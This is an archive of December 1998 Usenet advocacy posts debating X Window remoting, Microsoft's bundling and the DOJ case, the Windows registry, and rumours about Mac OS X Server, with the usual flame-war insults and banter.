User-Agent: MacSOUP/2.4b3
Michael Peck <michael.peck@ericsson.com> wrote:
> John Moreno wrote:
>
> > > And you just pointed out that as a result it's considered a "fringe
> > > product".
> >
> > He is saying "Cause: Fringe product; Result: Not built in".
>
> Seeing as how "not built in" is a default scenario, I find it difficult
> to understand how you can identify a primary cause, such as "fringe
> product".
In the move from OS to MacOSX, remotability being "not built in" isn't a
default scenario.
> > You are saying "Cause: Not built in; Result: Fringe product".
> >
> > I think he's closer to being right than you are.
>
> You're welcome to your opinion. I think you're wrong, but now I'm
> starting to sound like a broken record. Very few of the people involved
> in this conversation (read: Chuck Swiger is probably the only one) have
> ever used the remoting capabilities of the X Window System, and in any
> case I'm confident of my assessment of the situation.
The fact that there are so few people that have actually used it might
be a indication as to it not being critical.
> Or maybe it's just the fact that your side of the argument seems wont to
> claim "it's not important" or "it's a fringe product" when the target of
> your advocacy lacks it. The fact is that your product lacks remoting and
> it's a glaring fault.
I no longer have a product (having stopped selling it a couple of years
ago), and *I* try to limit my advocacy to what I think works well -- not
just what I happen to use.
The Mac lacks Protected Memory and I've gone any number of rants about
how that sucks -- I could probably spit out a couple of pages of
complaints about it not being available on the Mac without half trying.
> "I've never used it, how can it be important?"
How about "Neither I nor anybody I know has ever NEEDED to use it, how
can it be important?".
"Under what circumstances is remotability important and how often will
the average user encounter those circumstances?" That's the first key
question to ask yourself before including it.
--
John Moreno
From: willy1@rocketmail.com (Willy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 20:11:11 GMT
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <36780d11.1205994@news2.asan.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3676FADF.FA3D9169@klassy.com>
On Tue, 15 Dec 1998 16:12:15 -0800, in comp.os.ms-windows.advocacy
Josiah Fizer <mib@klassy.com> wrote:
>But people are not allowed to make an educated choice due to anti competitive
>behavior in the marketplace. As an example, I make a small
>HTML editor which is as far as I can tell better than FrontPage Express.
>However since FrontPage Express is installed by default on all Windows 98
>systems many users will not even look at alternatives.
You simply don't understand. Working from your example; the people
that need more than what FrontPage Express can do for them will buy
your HTML editor if it has the features they need. The people that
don't need more, don't really need your editor because Frontpage meets
their needs.
You forget that Microsoft also produces FrontPage 98. Do you think MS
would have created FrontPage Express if they thought they would lose
sales of FrontPage 98. Of course not.
As a maker of one of those editors, I could see why you'd be upset
that consumers no longer need to go out and research an editor because
some may have purchased your editor. However, the consumers are happy
because they *didn't* have to go research an editor to buy. Microsoft
has provided a benefit to consumers; albeit at the expense of makers
of basic HTML editors.
>So yes this is OK for the users as they get what they want given the
>amount of information they have, but it is very bad for the industry
>as it stifles innovation and competition.
It does not stifle innovation and competition. People that need a
more powerful editor will still go out and buy one. The lost sales
would be to people that really didn't need all you were selling them.
However, you somehow feel justified to charge people for an
application that is a level above what they really need.
MS Publisher is a perfect example of a mid-level application. I use
it for flyers, newsletters, web sites, etc. I needed more than just
WordPad+Paint. However, it doesn't do everything that PageMaker does.
But that's okay because I don't need those function. Publisher fit
the bill perfectly.
If a person needs to make a yard-sale flyer, they shouldn't be forced
to go out and buy Publisher or PageMaker. They can just start
WordPad, create a simple flyer and print it. People shouldn't have to
buy applications that they only need once or twice. Microsoft's basic
applications fills that need.
From: philh@vision25.demon.co.uk (Phil Hunt)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 15 Dec 98 23:28:33 GMT
Organization: here
Message-ID: <913764513snz@vision25.demon.co.uk>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <slrn77900a.oml.float@interport.net> <36753C12.ACDBCAD4@cadence.com>
In article <36753C12.ACDBCAD4@cadence.com>
simonk@cadence.com "Simon Kinahan" writes:
> void wrote:
> > What you see as a strength, I see as a weakness. The features you laud
> > can only operate because the software makes a large number of assumptions
> > about its environment. This is asking for trouble: software cannot
> > usually tell when an assumption has gone wrong, and has no way of
> > backtracking and reformulating hypotheses.
>
> I agree with what you are saying, these features are a threat to stability,
> but that never stops customers from asking for them, because they work 95%
> of the time. While they annoy 5% of people (who have friends with Van as
> their middle name, for instance) in exceptional situations, average users
> love them, especially average users of below average computer skills.
It's the sort of feature that is a good thing if you want an OS that's
dumbed down for fuckwits.
I don't, so I use Linux.
--
@@--Phil Hunt-----------------------------Don't fear the penguins(*)--@@
@@ [*] Disclaimer: this is FREE ADVICE, and is distributed in the @@
@@ hope that it will be useful, but WITHOUT ANY WARRANTY; note also @@
@@ that this advice may not apply if your name is Gates or Ballmer. @@
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OSX: The Next Generation--NOT
Newsgroups: comp.sys.next.advocacy
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net> <36781700.D3BA4E59@ericsson.com>
Message-ID: <36782016.0@news.depaul.edu>
Date: 16 Dec 98 21:03:18 GMT
Michael Peck <michael.peck@ericsson.com> wrote:
> Hugh Johnson wrote:
> [cut]
> > Oh I see, everyone must be a True Believer. Well, that's another problem
> > with this platform. Cliquishness. (sp?)
> Infidel. Steve-Muad'Dib will have your water.
Steve's got the spice.
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 15:02:40 -0600
Organization: Ericsson Data Services Americas
Message-ID: <36781FF0.C5AD5286@ericsson.com>
References: <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adtF3rtpr.Gxq@netcom.com> <slrn770lik.3ps.jedi@dementia.mishnet> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <F42Gq2.Avz@T-FCN.Net> <3677F3D4.63B5E739@ericsson.com> <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net> <36781072.3EF67AB8@ericsson.com> <1dk4ysm.1hcdk185xn1w3N@roxboro0-052.dyn.interpath.net>
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John Moreno wrote:
[cut]
> The fact that there are so few people that have actually used it might
> be a indication as to it not being critical.
Color TV is a fad.
[cut]
MJP
From: "Michael M. Rye" <mrye.at@at.uhc.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Wed, 16 Dec 1998 15:08:53 -0600
Organization: Born Information Services, Inc.
Message-ID: <36782165.EDDBD572@at.uhc.com>
References: <367522b5.2689507@news2.asan.com> <913764365snz@vision25.demon.co.uk>
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On Tue, 15 Dec 98 23:26:05 GMT philh@vision25.demon.co.uk (Phil Hunt)
wrote:
>Really? I have a 6-line Unix shell program that reads in an ascii file,
>expands tabs to spaces, adds line numbers, splits long lines every 100
>characters, formats the result in Postscript with a banner giving the
>filename and date printed at the top of every page, and prints it out.
Could you send that to me, please?? I'd really like to see it.
We could make good use of it here on our UNIX machines.
Thanks in advance.
--
Mike
mrye at uhc.com
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: Wed, 16 Dec 1998 15:11:05 -0600
Organization: Ericsson Data Services Americas
Message-ID: <367821E9.971AD092@ericsson.com>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net> <36781700.D3BA4E59@ericsson.com> <36782016.0@news.depaul.edu>
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Jonathan W Hendry wrote:
> > Infidel. Steve-Muad'Dib will have your water.
>
> Steve's got the spice.
[smile] Actually, that's not quite it. Steve's got the ability to
*destroy* the spice, and ability to destroy a thing is absolute power
over it.
"You acknowledge I can do this thing, then?"
"Yes, you can, but you shouldn't."
MJP
From: cmd@eskimo.com (Craig Dowell)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: 16 Dec 1998 21:34:14 GMT
Organization: Liver Donors, Inc.
Message-ID: <75990m$3q7$1@eskinews.eskimo.com>
References: <36717987.21076075@news2.asan.com> <pxpst2-1312981209280001@pelli.pathology.pitt.edu> <756mv2$m7n$1@eskinews.eskimo.com> <757krj$nlm@newsops.execpc.com>
Steve Mading <madings@earth.execpc.com> wrote:
>Craig Dowell (cmd@eskimo.com) wrote:
>
>: I would say that the definition of an operating system found in glossaries
>: and in your generic intro to operating systems classes have very little to
>: do with any marketable product that exists today. An operating system
>: today exists primarily as a convenient widget which provides a constant,
>: capable environment to application programmers. The nightmares of
>: combinatorial explosions of dependencies have been largely eliminated
>: as "operating systems" subsume more and more commonly used functionality.
>: You can take an application written for a modern OS and not have to worry
>: about either a) paying for duplicate low-level functionality developed and
>: provided by the application to ensure that all dependencies are resolved;
>: or b) having to go out and find and install various and sundry modules
>: in order to get the app you just bought working.
>
>You missed one:
>c) Do what most MS apps do, which is to install the needed libs along
>with the app you just bought, thereby causing DLL hell when you
>have other apps that need that same library, but maybe an older
>version or newer version of it.
>
>Windows does *not* come with all the libraries the apps depend on.
>The apps just install the libraries they need silently without
>telling you.
There is a problem with DLL versioning, but my comments were regarding
a world where all you get in an operating system is resource management.
I wasn't attempting to say Windows is perfect, either. I understand
the tendency to bridge off into diatribes when someone doesn't
sufficiently slam Windows, but ...
Having the government declare that operating systems may only consist
of CPU, memory and I/O resource allocation would be a terrifying
development for 99.99% of computer users around the globe. Sure we
engineers would be put back on our pedestals with our white lab coats /
robes and mere users / supplicants would have to petition us for our
incantations and spells to get thier GUIs GUIying and thier spreadsheets
spreadsheeting -- wait a minute! Maybe it's not such a bad idea after
all :-)
Ommmmmm. Wave the fmagic wand and have the apprentice type
cd blackmagicdir; tar cf - . | (cd yourdir; tar xf -)
That'll be fifty bucks, grandma. Oh, by the way, it only works with
XYZZY Windows version 5.31 with the Tuesday, December 15, 1999 patch
for bug 14578 -- Sigsegv in sprintf. Call us when you find that and
the printer drivers for your Yupson 2769 and we'll install and see
what else needs to be done.
Yeah, that's the ticket.
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: OSX: The Next Generation--NOT
Content-Type: text/plain; charset=us-ascii
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Cc: hugh@damnspam.semplicesoft.com
Organization: needs one
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com>
<74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net>
<F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net>
Mime-Version: 1.0
Date: Wed, 16 Dec 1998 21:57:13 GMT
In <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net> Hugh
Johnson wrote:
> It sounds like you might know a lot more about enterprize computing than I
> do. Congratulations. But obviously you were alarmed enough to go chasing
> all over the web over this, and to write two lengthy rebuttals - if you
> know so much and you're so alarmed, I wonder, what does that say?
It says I check my facts before telling people they are wrong.
The article in the URL you provided does not imply anything even
_remotely_ like "they are replacing WebObjects with SAP", and in fact the
word "WebObjects" does not even appear in the article at all! Even someone
without any knowledge of enterprise computing whatsoever would still be
able to correctly parse "aging and creaking plumbing behind its online
ordering Web site" as referring to the parts BEHIND the web site as opposed
to the parts RUNNING the web site. It's not that you're simply wrong, it's
that you're wrong and then made conclusions up based on it.
The difference between the MacKiDo Temple article and your version of it
shows a similar pattern, the article does not say anything like
"multitasking is not important", in fact the opening pict shows that he
runs many applications at the same time. Yet you claimed this is what they
said, to further support your argument.
> All I'm saying is, there is an emerging pattern of dampering public
> expectations about OSXS
Emerging? As a MacOS-X developer I assure you this has been the case
since the Carbon announcement. There has been no change in this at all,
much to our collective chargin.
> there's this last-minute hoopla about LinuxPPC
Almost certainly wrong, and based on a _single_ article.
> Big Alternative. This looks an awful lot like more smoke and mirrors. Next
> thing you know, they'll be promising OSX in dribs and drabs, just like
> Amelio's Copland.
Fine with me.
> Oh I see, everyone must be a True Believer.
No, no one should be a true believer. I question the purpose of posting
suppositions based on clearly incorrect readings of articles that don't say
anything like what you claim they do. What exactly made you feel compelled
to post such a negative article in the first place?
> Well, that's another problem with this platform.
And another is people who make up things to be wrong with it.
Sorry, your post's supporting facts fall somewhere between "dead wrong"
and "lies". And you're upset I've called you out on it? Characterizing my
pointing out flaws in your argument makes me a "true believer"? Odd that,
notably when I'm accused of being a "Wintel troll" at least once a month in
this same newsgroup.
Maury
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: 16 Dec 1998 21:54:41 GMT
Organization: University of Washington, Seattle
Message-ID: <759a71$13qa$1@nntp6.u.washington.edu>
References: <36717987.21076075@news2.asan.com> <3676F666.9EB0E40C@ericsson.com> <3677A9F2.D1184394@digiscape.com> <36780c7a.1054456@news2.asan.com>
NNTP-Posting-User: gwangung
In article <36780c7a.1054456@news2.asan.com>,
Willy <willy1@rocketmail.com> wrote:
>On Wed, 16 Dec 1998 12:39:14 +0000, in comp.os.ms-windows.advocacy
>Chris Welch <chaotic42@digiscape.com> wrote:
>
>>They don't know that there are alternatives.
>
>Oh please. Everyone knows of at least Apple and the Mac.
Perhaps. Perhaps not.
For example, half the people I talk to about computers seem to
think that Microsoft Office is WIntel only.
Others still seem to think Macs cost $4000+.
Anecdotal, to be sure, but it gives some people pause....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
Subject: Re: Registry Synchronization?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <01be28e2$6095c2e0$35f0ccc3@default> <slrn77enpt.ogc.jedi@dementia.mishnet>
Message-ID: <01be28c3$5b754b60$28f0ccc3@default>
Date: 16 Dec 98 22:14:12 GMT
jedi@dementia.mishnet wrote:
> Bjørnar Bolsøy <bbolsoey@rl.telia.no> wrote:
> >Joe Cosby <joecosby@rycnun.seatac.net> wrote:
> >>
> >> To me, a monolithic registry is the height of stupidity. It is one
> >> of the main reasons I hope I never wind up buying a Wintel.
> >
> > To me, as an administrator, it's worth it's weight in gold.
>
> It never helped be one bit as an administrator.
> In fact, it has actually been somewhat of a
> hinderance. An opaque uber-storage facility
> like a registry only hides details from those
> who really need to know them and are quite
> capable of understanding them.
I have a hunch your experience is mostly concentrated
around admining Unix servers and terminals rather than
networked PC clients.
That's just a hunch of course.
Regards...
Newsgroups: comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: OSX: The Next Generation--NOT
Message-ID: <slrn77gdma.oui.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net>
Date: Wed, 16 Dec 1998 22:38:39 GMT
Hugh Johnson wrote:
>In article <F42Iry.By8@T-FCN.Net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>
>It sounds like you might know a lot more about enterprize computing than I
>do. Congratulations. But obviously you were alarmed enough to go chasing
>all over the web over this, and to write two lengthy rebuttals - if you
>know so much and you're so alarmed, I wonder, what does that say?
Actually, Maury was probably interested in seeing in actual print the
gem that is "replacing WebObjects with SAP," because even just on the face
of it it doesn't make sense.
It's rather like saying "replacing a coat-rack with a bicycle." They're two
completely different things. But sadly, this is more-or-less par-for-the-
course with Don lately ('dunno why), so it wouldn't surprise either Maury
or I that such a statement was made.
I'd track the statement down just so that I could correct it. I wouldn't
read too much beyond that into the effort.
Mark
(replying for Maury 'cause he's busy working on GlyphiX in the next office:-)
From: jinx6568@sover.net (Chris Johnson)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Terrorism.
Message-ID: <jinx6568-1612981810000001@arc1a177.bf.sover.net>
References: <36717987.21076075@news2.asan.com> <3673C094.7C814583@brown.edu> <3673de8f.1614090@news2.asan.com> <3675358B.87637823@ericsson.com> <petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com> <jinx6568-1512982325300001@arc1a20.bf.sover.net> <36781369.9C932F3E@ericsson.com>
Organization: Airwindows
NNTP-Posting-Date: Wed, 16 Dec 1998 18:05:42 EDT
Date: Wed, 16 Dec 1998 18:09:59 -0500
In article <36781369.9C932F3E@ericsson.com>, Michael Peck
<michael.peck@ericsson.com> wrote:
>Chris Johnson wrote:
>> We tend to be geeky hacker type people, and the ones who are most aware
>> of this are the ones who _most_ lack lives outside of the monitor screen.
>> We're not innately violent people, or innately vicious- indeed, the
>> marketing divisions and managements of companies like Microsoft and Intel
>> are far more vicious than we appear to be. But corner us, marginalize and
>> commoditize us, cut off our techie resources, and finally cut off our
>> abilities to find recourse through the courts and governments of the
>> world, and you will see desperate geeky hacker type people- and we'll
>> fight.
>Oh, please. You're weak, you're numerically insignificant, and your
>convictions aren't as bulletproof as you think they are. This is the
>trash-talk of the untested and unprepared. You want to fight? You want
>to make a power play? You wanna get down an' dirty, shake some
>foundations, Chris?
Hell, no! I want the government to look after my goddamned interests!
Don't tell me I _want_ to be forced into terrorism, thank you. It's a very
nasty option, it's a last resort. And I _scorn_ your glib talk of my
convictions. You are a damned fool, or a 60s holdover for whom peace, love
and drugs proved not as appealing as money. Don't project _your_ moral
failings onto me.
I want, not grandiose general promises of joy and plenty for all, but
_specific_ action taken as needs warrant against those I see as criminals.
I don't want the grand scheme to make the world perfect forever. I want
_results_. For starters, let's deal with MS, not forgetting that the next
company may try the exact same things and deserve the same attention. If
we mess up and cripple MS in confused attempts to muzzle it, well, boo
hoo. More room for newcomers.
>What, did you miss the sixties, or something? Ironic how all of the
>uprisings these days seem to be instigated by people who missed the last
>one and feel cheated out of all the fun.
*hehe* don't tell me you _are_ a 60s holdover? Dear me. If we're going
to get into that, and you are representing the Peace Generation, I'd
remind you that the 50s spearheaded civil rights, not you- your generation
just smoked a lot of dope, and tried to avoid fighting in Vietnam. (Which
was a poor place for us to be, and a really bad objective to try and
achieve.) When you guys were the footsoldiers, we lost. We did get good
songs out of it ;)
The 'people who missed the last one and feel cheated out of all the
fun' were the footsoldiers of Desert Storm. We don't lose without more of
a fight than you can easily imagine
>Anyway, good luck. Hackers of the world, unite, and all that. Maybe you
>can all get together during that Linux Beer Hike in Germany while you
>pretend to appreciate European culture and European alcohol to get over
>all the fun and high-class moralizing you missed in high school.
I think the mixing of intoxication with linux is very stupid and says
more about the age of many Linux people than it does about the
effectiveness of the platform and its front lines. There are also linux
hackers heavy into speed, and I don't approve of that either. And you seem
to have an awfully funny notion of what moralizing is... maybe you're just
too _old_ to be effective. :)
Chris Johnson, at start of 13th gen
@airwindows.com
chrisj
From: hoggett@airtime.no.spam.co.uk (Bill Hoggett)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 23:03:13 GMT
Organization: UUNET WorldCom server (post doesn't reflect views of UUNET WorldCom)
Message-ID: <367836c1.13764642@news.dial.pipex.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <01be28e2$6095c2e0$35f0ccc3@default> <slrn77enpt.ogc.jedi@dementia.mishnet> <01be28c3$5b754b60$28f0ccc3@default>
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In a fit of advocacy pique "Bjørnar Bolsøy" <bbolsoey@rl.telia.no>
wrote this on the 16 Dec 98 22:14:12 GMT:
>
>
>jedi@dementia.mishnet wrote:
>> Bjørnar Bolsøy <bbolsoey@rl.telia.no> wrote:
>> >Joe Cosby <joecosby@rycnun.seatac.net> wrote:
>> >>
>> >> To me, a monolithic registry is the height of stupidity. It is one
>> >> of the main reasons I hope I never wind up buying a Wintel.
>> >
>> > To me, as an administrator, it's worth it's weight in gold.
>>
>> It never helped be one bit as an administrator.
>> In fact, it has actually been somewhat of a
>> hinderance. An opaque uber-storage facility
>> like a registry only hides details from those
>> who really need to know them and are quite
>> capable of understanding them.
>
> I have a hunch your experience is mostly concentrated
> around admining Unix servers and terminals rather than
> networked PC clients.
>
> That's just a hunch of course.
I don't know about 'jedi', but I've certainly been working with a
large network of PC clients used by a team of developers and testers
to produce new software for one of the larger local utilities
corporations. I can safely say that the registry has been nothing but
a total pain in the butt in this process. Developers have used it to
store information which is _not_ accessed by any other application
besides the one whose installation resulted in the registry entry,
often for the kind of stuff that would be far better suited to a
configuration file. Upgrades are another huge problem, as the site has
a fair spread of NT 3.51, NT 4 and Win95 machines. MSOffice is the
biggest culprit, often failing to update the registry given a combined
NT and MSO upgrade, so that people often end up with non-working
spellchecking, thesaurus etc.
I can think of many occasions when I've had to go into the registry to
correct/remove entries not properly handled by installers,
uninstallers and upgrades, but I honestly can't think of one instance
when I thought the registry to be a blessing.
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 22:52:14 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <3678399E.4D74AEFC@digiscape.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3676FADF.FA3D9169@klassy.com> <36780d11.1205994@news2.asan.com>
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Willy wrote:
>
> On Tue, 15 Dec 1998 16:12:15 -0800, in comp.os.ms-windows.advocacy
> Josiah Fizer <mib@klassy.com> wrote:
>
> >But people are not allowed to make an educated choice due to anti competitive
> >behavior in the marketplace. As an example, I make a small
> >HTML editor which is as far as I can tell better than FrontPage Express.
> >However since FrontPage Express is installed by default on all Windows 98
> >systems many users will not even look at alternatives.
>
> You simply don't understand. Working from your example; the people
> that need more than what FrontPage Express can do for them will buy
> your HTML editor if it has the features they need. The people that
> don't need more, don't really need your editor because Frontpage meets
> their needs.
They could also learn HTML 4 and CSS and the like. That gives you the
most power. Damed WYSIWYG HTML editors. Now, to the example, what if his
editor is faster and better. Sure FP98 will work, but you always want
the best. I could have stuck with Windows. It worked (sometimes). It was
there and I knew how to use it. I wanted something better though.
Windows did most of what I wanted, but Linux did it better and quicker.
Samething with FP98. It works, but his works better.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Wed, 16 Dec 1998 22:54:35 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <36783A2B.B2128CE2@digiscape.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3677A9F2.D1184394@digiscape.com> <36780c7a.1054456@news2.asan.com>
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Willy wrote:
>
> On Wed, 16 Dec 1998 12:39:14 +0000, in comp.os.ms-windows.advocacy
> Chris Welch <chaotic42@digiscape.com> wrote:
>
> >They don't know that there are alternatives.
>
> Oh please. Everyone knows of at least Apple and the Mac.
I meant better alternatives. Most people are familiar with PC hardware
and like it. Most people just use Windows. MacOS won't work on their
computers. Of course, even if they knew Linux was there they wouldn't
switch to it unless they saw big banners in the stores and commercials.
--
/----------------------------------------------------------\
| http://cmwelch1.nexus.olemiss.edu |
| |
| Brain: It must be inordinately taxing to be such a boob. |
| Pinky: You have no idea. |
\----------------------------------------------------------/
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: Wed, 16 Dec 1998 22:58:08 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <759dtv$ado$1@nnrp1.dejanews.com>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net>
hugh@damnspam.semplicesoft.com (Hugh Johnson) wrote:
> > > .... Don Crabb says the Apple Store is dumping WebObject for SAP.
> >
> > I have finally found some articles on this, but still cannot find
> > anything from Don on this issue. I have written to him about this, but I
> > still request an URL for this item.
>
> http://www.maccentral.com/news/9812/08.manager.shtml
>
> > Note that the article correctly states what SAP is used for "order
> > management, logistics, finance, and manufacturing". SAP in this case is
> > likely to be run on Oracle on Unix, with the WebObjects plugins allowing
> > users to get realtime updates on their orders from the database.
>
> It sounds like you might know a lot more about enterprize computing than I
> do. Congratulations. But obviously you were alarmed enough to go chasing
> all over the web over this, and to write two lengthy rebuttals - if you
> know so much and you're so alarmed, I wonder, what does that say?
It says that since there are so many people spreading FUD around here, either
maliciously or out of ignorance, someone has to do the homework of checking
the rumors out and, if appropriate, debunking them. I doubt that Maury was in
any way alarmed -- I suspect that "disgusted at the ignorance often displayed
by posters here" is probably a more accurate description.
> > > I'm outta here.
As long as we're talking about public announcements not followed through,
should we add this one to the list?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.windows.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: Registry Synchronization?
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Organization: M. Onyschuk and Associates Inc.
